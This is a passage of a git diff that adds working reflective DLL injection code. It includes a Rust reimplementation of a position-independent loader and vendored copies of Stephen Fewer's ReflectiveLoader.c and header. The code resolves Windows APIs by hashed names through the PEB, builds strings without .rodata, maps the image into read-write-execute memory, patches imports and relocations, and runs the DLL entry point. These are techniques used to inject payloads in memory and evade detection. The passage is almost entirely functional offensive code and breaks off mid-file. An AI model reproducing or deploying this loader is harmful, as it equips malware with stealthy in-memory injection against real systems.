rd_u16(p: usize, off: usize) -> u16 { + core::ptr::read_volatile((p + off) as *const u16) +} + +#[inline(always)] +unsafe fn rd_u32(p: usize, off: usize) -> u32 { + core::ptr::read_volatile((p + off) as *const u32) +} + +#[inline(always)] +unsafe fn rd_u64(p: usize, off: usize) -> u64 { + core::ptr::read_volatile((p + off) as *const u64) +} + +#[inline(always)] +unsafe fn wr_u8(p: usize, off: usize, v: u8) { + core::ptr::write_volatile((p + off) as *mut u8, v); +} + +#[inline(always)] +unsafe fn wr_u64(p: usize, off: usize, v: u64) { + core::ptr::write_volatile((p + off) as *mut u64, v); +} + +// Unaligned-safe read so the base scan can step byte-by-byte. +#[inline(always)] +unsafe fn rd_u16_bytes(p: usize) -> u16 { + rd_u8(p, 0) as u16 | ((rd_u8(p, 1) as u16) << 8) +} + +#[inline(always)] +unsafe fn copy_bytes(dst: usize, src: usize, len: usize) { + for i in 0..len { + core::ptr::write_volatile((dst + i) as *mut u8, core::ptr::read_volatile((src + i) as *const u8)); + } +} + +// ---- Immediate materializers: build byte strings without .rodata ---- + +#[inline(always)] +unsafe fn fill_u64(dst: usize, lit: u64) { + wr_u8(dst, 0, (lit & 0xFF) as u8); + wr_u8(dst, 1, ((lit >> 8) & 0xFF) as u8); + wr_u8(dst, 2, ((lit >> 16) & 0xFF) as u8); + wr_u8(dst, 3, ((lit >> 24) & 0xFF) as u8); + wr_u8(dst, 4, ((lit >> 32) & 0xFF) as u8); + wr_u8(dst, 5, ((lit >> 40) & 0xFF) as u8); + wr_u8(dst, 6, ((lit >> 48) & 0xFF) as u8); + wr_u8(dst, 7, ((lit >> 56) & 0xFF) as u8); +} + +#[inline(always)] +unsafe fn fill_u32(dst: usize, lit: u32) { + wr_u8(dst, 0, (lit & 0xFF) as u8); + wr_u8(dst, 1, ((lit >> 8) & 0xFF) as u8); + wr_u8(dst, 2, ((lit >> 16) & 0xFF) as u8); + wr_u8(dst, 3, ((lit >> 24) & 0xFF) as u8); +} + +// ---- Position-independent runtime resolution ---- + +/// Current instruction pointer, obtained with a RIP-relative LEA so it is +/// valid before the image is relocated. +#[inline(never)] +fn rip_here() -> usize { + let ip: usize; + unsafe { + asm!( + "lea {}, [rip]", + out(reg) ip, + options(nomem, nostack, preserves_flags), + ); + } + ip +} + +/// x64 Process Environment Block via `gs:[0x60]`. +#[inline(never)] +unsafe fn peb_pointer() -> usize { + let peb: usize; + unsafe { + asm!( + "mov {}, qword ptr gs:[0x60]", + out(reg) peb, + options(nostack, preserves_flags), + ); + } + peb +} + +/// Scan backwards from `start` for the MZ/PE header of the running image. +unsafe fn find_image_base(start: usize) -> usize { + let mut p = start; + loop { + if p == 0 { + return 0; + } + if rd_u16_bytes(p) == 0x5A4D { + let lfanew = rd_u32(p, 0x3C) as usize; + if (0x40..1024).contains(&lfanew) { + let nt = p + lfanew; + if rd_u32(nt, 0) == 0x0000_4550 { + return p; + } + } + } + p = p.wrapping_sub(1); + } +} + +/// Rotate `v` right by one bit. +#[inline(always)] +fn ror1(v: u32) -> u32 { + v.wrapping_shr(1) | v.wrapping_shl(31) +} + +/// ror hash of a UTF-16 code-unit buffer (case-normalized). +unsafe fn hash_wide(ptr: usize, nchars: usize) -> u32 { + let mut h: u32 = 0; + let mut i = 0; + while i < nchars { + let c = rd_u16(ptr, i * 2); + h = ror1(h); + if (0x61..=0x7A).contains(&c) { + h = h.wrapping_add((c - 0x20) as u32); + } else { + h = h.wrapping_add(c as u32); + } + i += 1; + } + h +} + +/// ror hash of a NUL-terminated ASCII string, case-normalized as above. +unsafe fn hash_ascii(ptr: usize) -> u32 { + let mut h: u32 = 0; + let mut i = 0; + loop { + let c = rd_u8(ptr, i) as u32; + if c == 0 { + return h; + } + h = ror1(h); + if (0x61..=0x7A).contains(&c) { + h = h.wrapping_add(c - 0x20); + } else { + h = h.wrapping_add(c); + } + i += 1; + } +} + +/// Walk the loaded-module list for the module whose base-name rotates to +/// `want`; returns its base address or 0. +unsafe fn module_base_by_hash(peb: usize, want: u32) -> usize { + let ldr = rd_u64(peb, 0x18) as usize; + if ldr == 0 { + return 0; + } + let head = rd_u64(ldr, 0x20) as usize; + if head == 0 { + return 0; + } + let mut cur = head; + loop { + if cur == 0 { + return 0; + } + let entry = cur.wrapping_sub(0x10); + let name_len = rd_u16(entry, 0x58) as usize; + if name_len > 0 { + let name_ptr = rd_u64(entry, 0x60) as usize; + if name_ptr != 0 && hash_wide(name_ptr, name_len / 2) == want { + return rd_u64(entry, 0x30) as usize; + } + } + let next = rd_u64(entry, 0x10) as usize; + if next == head || next == cur { + break; + } + cur = next; + } + 0 +} + +/// Resolve an export of `base` by its ror-hashed name; returns its VA or 0. +unsafe fn export_by_hash(base: usize, want: u32) -> usize { + let lfanew = rd_u32(base, 0x3C) as usize; + let dd = base + lfanew + 4 + 20 + 112; + let ed_rva = rd_u32(dd, 0) as usize; + if ed_rva == 0 { + return 0; + } + let ed = base + ed_rva; + let num_names = rd_u32(ed, 24) as usize; + let addr_of_funcs = rd_u32(ed, 28) as usize; + let addr_of_names = rd_u32(ed, 32) as usize; + let addr_of_ord = rd_u32(ed, 36) as usize; + if addr_of_funcs == 0 || addr_of_names == 0 || addr_of_ord == 0 { + return 0; + } + for i in 0..num_names { + let name_rva = rd_u32(base + addr_of_names, i * 4) as usize; + if hash_ascii(base + name_rva) == want { + let ordinal = rd_u16(base + addr_of_ord, i * 2) as usize; + let fn_rva = rd_u32(base + addr_of_funcs, ordinal * 4) as usize; + if fn_rva == 0 { + return 0; + } + return base + fn_rva; + } + } + 0 +} + +/// Resolve an export by ordinal; returns its VA or 0. +unsafe fn export_by_ordinal(base: usize, ordinal: u16) -> usize { + let lfanew = rd_u32(base, 0x3C) as usize; + let dd = base + lfanew + 4 + 20 + 112; + let ed_rva = rd_u32(dd, 0) as usize; + if ed_rva == 0 { + return 0; + } + let ed = base + ed_rva; + let export_base = rd_u32(ed, 16) as usize; + let num_funcs = rd_u32(ed, 20) as usize; + let addr_of_funcs = rd_u32(ed, 28) as usize; + if ordinal < export_base as u16 || addr_of_funcs == 0 { + return 0; + } + let idx = ordinal as usize - export_base; + if idx >= num_funcs { + return 0; + } + let fn_rva = rd_u32(base + addr_of_funcs, idx * 4) as usize; + if fn_rva == 0 { + return 0; + } + base + fn_rva +} + +// ---- The loader ---- + +/// Thread-start routine invoked by the `ReflectiveLoader` export on the +/// copied, un-relocated image. Returns the address of the newly loaded DLL's +/// entry point, or 0 on failure. +#[inline(never)] +pub extern "system" fn loader_impl(lpParameter: usize) -> usize { + unsafe { + // STEP 0: locate our own (un-relocated) image base. + let ui_lib = find_image_base(rip_here()); + if ui_lib == 0 { + return 0; + } + + // STEP 1: resolve the APIs we need by name hash. + let peb = peb_pointer(); + let k32 = module_base_by_hash(peb, KERNEL32_HASH); + let ntdll = module_base_by_hash(peb, NTDLL_HASH); + if k32 == 0 || ntdll == 0 { + return 0; + } + let p_load = export_by_hash(k32, LOADLIBRARYA_HASH); + let p_get_proc = export_by_hash(k32, GETPROCADDRESS_HASH); + let p_alloc = export_by_hash(k32, VIRTUALALLOC_HASH); + let p_flush = export_by_hash(ntdll, NTFLUSH_HASH); + if p_load == 0 || p_get_proc == 0 || p_alloc == 0 { + return 0; + } + let f_load: LoadLibraryFn = core::mem::transmute(p_load); + let f_get_proc: GetProcAddressFn = core::mem::transmute(p_get_proc); + let f_alloc: VirtualAllocFn = core::mem::transmute(p_alloc); + let f_flush: NtFlushFn = core::mem::transmute(p_flush); + + // Register .pdata so unwinding through our code does not crash. The + // proc-name string is materialized from immediates (no .rodata). + let mut name_space = core::mem::MaybeUninit::<[u8; 20]>::uninit(); + let name_ptr = name_space.as_mut_ptr() as *mut u8 as usize; + fill_u64(name_ptr, 0x7546_6464_416C_7452); // "RtlAddFu" + fill_u64(name_ptr + 8, 0x6154_6E6F_6974_636E); // "nctionTa" + fill_u32(name_ptr + 16, 0x0065_6C62); // "ble\0" + let p_add_table = f_get_proc(ntdll, name_ptr as *const u8); + + // STEP 2: load the image into a fresh permanent location. + let lfanew = rd_u32(ui_lib, 0x3C) as usize; + if lfanew == 0 { + return 0; + } + let opt = ui_lib + lfanew + 4 + 20; + let image_base = rd_u64(opt, 24) as usize; + let size_of_image = rd_u32(opt, 56) as usize; + let ui_base = f_alloc(0, size_of_image, MEM_RESERVE_COMMIT, PAGE_EXECUTE_READWRITE); + if ui_base == 0 { + return 0; + } + + // Copy the headers. + copy_bytes(ui_base, ui_lib, rd_u32(opt, 60) as usize); + + // STEP 3: copy all sections. + let coff = ui_lib + lfanew + 4; + let num_sections = rd_u16(coff, 2) as usize; + let opt_size = rd_u16(coff, 16) as usize; + let sec = coff + 20 + opt_size; + let mut si = 0; + while si < num_sections { + let s = sec + si * 40; + let vaddr = rd_u32(s, 12) as usize; + let raw_size = rd_u32(s, 16) as usize; + let raw_ptr = rd_u32(s, 20) as usize; + copy_bytes(ui_base + vaddr, ui_lib + raw_ptr, raw_size); + si += 1; + } + + // STEP 4: fix up imports. + let dd = opt + 112; + let imp_rva = rd_u32(dd, 8) as usize; + if imp_rva != 0 { + let imp = ui_base + imp_rva; + let mut di = 0; + loop { + let desc = imp + di * 20; + let name_rva = rd_u32(desc, 12); + if name_rva == 0 { + break; + } + let hlib = f_load((ui_base + name_rva as usize) as *const u8); + let oft_rva = rd_u32(desc, 0) as usize; + let ft_rva = rd_u32(desc, 16) as usize; + let mut iat = ui_base + ft_rva; + let mut oft = if oft_rva != 0 { ui_base + oft_rva } else { 0 }; + loop { + let thunk = rd_u64(iat, 0); + if thunk == 0 { + break; + } + if oft != 0 && (thunk >> 63) == 1 { + let ordinal = (thunk & 0xFFFF) as u16; + wr_u64(iat, 0, export_by_ordinal(hlib, ordinal) as u64); + } else { + let name_rva2 = (thunk as u32) as usize; + let by_name = ui_base + name_rva2; + wr_u64(iat, 0, f_get_proc(hlib, (by_name + 2) as *const u8) as u64); + } + iat += 8; + if oft != 0 { + oft += 8; + } + } + di += 1; + } + } + + // STEP 5: apply relocations. + let reloc_dd = dd + 0x28; + let reloc_size = rd_u32(reloc_dd, 4); + if reloc_size != 0 { + let reloc_rva = rd_u32(reloc_dd, 0) as usize; + let delta = ui_base.wrapping_sub(image_base); + let mut r = ui_base + reloc_rva; + loop { + let block_size = rd_u32(r, 4); + if block_size == 0 { + break; + } + let target = ui_base + rd_u32(r, 0) as usize; + let mut count = (block_size as usize - 8) / 2; + let mut e = r + 8; + while count > 0 { + let word = rd_u16(e, 0) as usize; + let typ = (word >> 12) & 0xF; + let off = word & 0xFFF; + // Only DIR64 (10) needs applying; a single comparison is + // used deliberately: a multi-case dispatch lets LLVM emit + // a jump table in `.rodata`, whose RIP-relative address + // would be wrong in the raw copy. + if typ == 10 { + let v = rd_u64(target, off).wrapping_add(delta as u64); + wr_u64(target, off, v); + } + e += 2; + count -= 1; + } + r = r + block_size as usize; + } + } + + // STEP 5b: register the exception table (.pdata) with the OS. + let exc_dd = dd + 0x30; + let exc_rva = rd_u32(exc_dd, 0) as usize; + let exc_size = rd_u32(exc_dd, 4) as usize; + if p_add_table != 0 && exc_rva != 0 && exc_size != 0 { + let f_add: RtlAddFunctionTableFn = core::mem::transmute(p_add_table); + let _ = f_add(ui_base + exc_rva, (exc_size / 12) as u32, ui_base as u64); + } + + // Flush the instruction cache so relocated code is used. + let _ = f_flush(-1, 0, 0); + + // STEP 6: invoke the DLL entry point and return its address. + let entry = ui_base + rd_u32(opt, 16) as usize; + let f_entry: DllMainFn = core::mem::transmute(entry); + let _ = f_entry(ui_base, DLL_PROCESS_ATTACH, lpParameter); + entry + } +} diff --git a/vendor/injection/ReflectiveDLLInjection.h b/vendor/injection/ReflectiveDLLInjection.h new file mode 100644 index 0000000..72fd96b --- /dev/null +++ b/vendor/injection/ReflectiveDLLInjection.h @@ -0,0 +1,51 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include + +// we declare some common stuff in here... + +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID); +typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/vendor/injection/ReflectiveLoader.c b/vendor/injection/ReflectiveLoader.c new file mode 100644 index 0000000..900e436 --- /dev/null +++ b/vendor/injection/ReflectiveLoader.c @@ -0,0 +1,516 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "ReflectiveLoader.h" +//===============================================================================================// +// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value +HINSTANCE hAppInstance = NULL; +// Store the parameter passed to ReflectiveLoader so DllMain can access it +LPVOID g_lpReflectiveParameter = NULL; +//===============================================================================================// +#ifdef _MSC_VER +#pragma intrinsic(_ReturnAddress) +#define RDI_NOINLINE __declspec(noinline) +#else +#define RDI_NOINLINE __attribute__((noinline)) +#endif + +// This function can not be inlined by the compiler or we will not get the address we expect. Ideally +// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of +// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics +// available (and no inline asm available under x64). +RDI_NOINLINE ULONG_PTR caller(VOID) +{ +#ifdef _MSC_VER + return (ULONG_PTR)_ReturnAddress(); +#elif defined(__GNUC__) || defined(__clang__) + // For MinGW/Clang, use GCC builtins and extract helper for target-specific safety. + return (ULONG_PTR)__builtin_extract_return_addr(__builtin_return_address(0)); +#else + return 0; +#endif +} +//===============================================================================================// + +// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, +// otherwise the DllMain at the end of this file will be used. + +// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, +// otherwise it is assumed you are calling the ReflectiveLoader via a stub. + +// This is our position independent reflective DLL loader/injector +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter) +#else +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) +#endif +{ + // the functions we need + LOADLIBRARYA pLoadLibraryA = NULL; + GETPROCADDRESS pGetProcAddress = NULL; + VIRTUALALLOC pVirtualAlloc = NULL; + NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; + + USHORT usCounter; + + // the initial location of this image in memory + ULONG_PTR uiLibraryAddress; + // the kernels base address and later this images newly loaded base address + ULONG_PTR uiBaseAddress; + + // variables for processing the kernels export table + ULONG_PTR uiAddressArray; + ULONG_PTR uiNameArray; + ULONG_PTR uiExportDir; + ULONG_PTR uiNameOrdinals; + DWORD dwHashValue; + + // variables for loading this image + ULONG_PTR uiHeaderValue; + ULONG_PTR uiValueA; + ULONG_PTR uiValueB; + ULONG_PTR uiValueC; + ULONG_PTR uiValueD; + ULONG_PTR uiValueE; + + // STEP 0: calculate our images current base address + + // we will start searching backwards from our callers return address. + uiLibraryAddress = caller(); + + // loop through memory backwards searching for our images base address + // we dont need SEH style search as we shouldnt generate any access violations with this + while (TRUE) + { + if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE) + { + uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), + // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. + if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024) + { + uiHeaderValue += uiLibraryAddress; + // break if we have found a valid MZ/PE header + if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE) + break; + } + } + uiLibraryAddress--; + } + + // STEP 1: process the kernels exports for the functions our loader needs... + + // get the Process Enviroment Block +#ifdef WIN_X64 + uiBaseAddress = __readgsqword(0x60); +#else +#ifdef WIN_X86 + uiBaseAddress = __readfsdword(0x30); +#else WIN_ARM + uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30); +#endif +#endif + + // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx + uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; + + // get the first entry of the InMemoryOrder module list + uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; + while (uiValueA) + { + // get pointer to current modules name (unicode string) + uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; + // set bCounter to the length for the loop + usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; + // clear uiValueC which will store the hash of the module name + uiValueC = 0; + + // compute the hash of the module name... + do + { + uiValueC = ror((DWORD)uiValueC); + // normalize to uppercase if the madule name is in lowercase + if (*((BYTE*)uiValueB) >= 'a') + uiValueC += *((BYTE*)uiValueB) - 0x20; + else + uiValueC += *((BYTE*)uiValueB); + uiValueB++; + } while (--usCounter); + + // compare the hash with that of kernel32.dll + if ((DWORD)uiValueC == KERNEL32DLL_HASH) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); + + // get the VA for the array of name pointers + uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); + + // get the VA for the array of name ordinals + uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); + + usCounter = 3; + + // loop while we still have imports to find + while (usCounter > 0) + { + // compute the hash values for this function name + dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); + + // if we have found a function we want we get its virtual address + if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH) + { + // get the VA for the array of addresses + uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); + + // store this functions VA + if (dwHashValue == LOADLIBRARYA_HASH) + pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray)); + else if (dwHashValue == GETPROCADDRESS_HASH) + pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray)); + else if (dwHashValue == VIRTUALALLOC_HASH) + pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray)); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + else if ((DWORD)uiValueC == NTDLLDLL_HASH) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); + + // get the VA for the array of name pointers + uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); + + // get the VA for the array of name ordinals + uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); + + usCounter = 1; + + // loop while we still have imports to find + while (usCounter > 0) + { + // compute the hash values for this function name + dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); + + // if we have found a function we want we get its virtual address + if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) + { + // get the VA for the array of addresses + uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); + + // store this functions VA + if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) + pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray)); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + + // we stop searching when we have found everything we need. + if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache) + break; + + // get the next entry + uiValueA = DEREF(uiValueA); + } + + // STEP 2: load our image into a new permanent location in memory... + + // get the VA of the NT Header for the PE to be loaded + uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // allocate all the memory for the DLL to be loaded into. we can load at any address because we will + // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. + uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + // we must now copy over the headers + uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; + uiValueB = uiLibraryAddress; + uiValueC = uiBaseAddress; + + while (uiValueA--) + *(BYTE*)uiValueC++ = *(BYTE*)uiValueB++; + + // STEP 3: load in all of our sections... + + // uiValueA = the VA of the first section + uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader); + + // itterate through all sections, loading them into memory. + uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; + while (uiValueE--) + { + // uiValueB is the VA for this section + uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress); + + // uiValueC if the VA for this sections data + uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData); + + // copy the section over + uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; + + while (uiValueD--) + *(BYTE*)uiValueB++ = *(BYTE*)uiValueC++; + + // get the VA of the next section + uiValueA += sizeof(IMAGE_SECTION_HEADER); + } + + // STEP 4: process our images import table... + + // uiValueB = the address of the import directory + uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + + // we assume their is an import table to process + // uiValueC is the first entry in the import table + uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); + + // itterate through all imports + while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name) + { + // use LoadLibraryA to load the imported module into memory + uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); + + // uiValueD = VA of the OriginalFirstThunk + uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk); + + // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) + uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk); + + // itterate through all imported functions, importing by ordinal if no name present + while (DEREF(uiValueA)) + { + // sanity check uiValueD as some compilers only import by FirstThunk + if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG) + { + // get the VA of the modules NT Header + uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); + + // get the VA for the array of addresses + uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD)); + + // patch in the address for this imported function + DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray)); + } + else + { + // get the VA of this functions import by name struct + uiValueB = (uiBaseAddress + DEREF(uiValueA)); + + // use GetProcAddress and patch in the address for this imported function + DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); + } + // get the next imported function + uiValueA += sizeof(ULONG_PTR); + if (uiValueD) + uiValueD += sizeof(ULONG_PTR); + } + + // get the next import + uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR); + } + + // STEP 